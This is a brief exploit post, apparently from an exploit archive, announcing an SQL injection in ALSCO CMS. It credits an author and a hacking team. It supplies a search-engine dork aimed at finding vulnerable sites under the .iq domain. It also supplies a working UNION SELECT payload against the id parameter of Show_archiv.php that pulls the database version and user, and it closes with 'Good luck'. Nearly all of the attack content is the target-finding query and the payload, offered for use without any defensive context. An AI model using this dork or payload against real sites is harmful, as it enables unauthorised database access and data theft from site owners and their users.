ALSCO CMS - SQL Injection

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[x] Tybe: SQL Injection Vulnerabilities
[x] Vendor: http://www.alscosoftware.com/
[x] Script Name: ALSCO CMS
[x] author: PrinceofHacking
[x] Team: Ashiyane Digital Security Team
[x] Mail : Prince[dot]H4ck@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D0rk: inurl:"move.php?" site:.iq


Exploit:
http://localhost/[path]/move/Show_archiv.php?id=-1
union+select+1,2,@@version,user(),5,6--

Good luck

[!]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~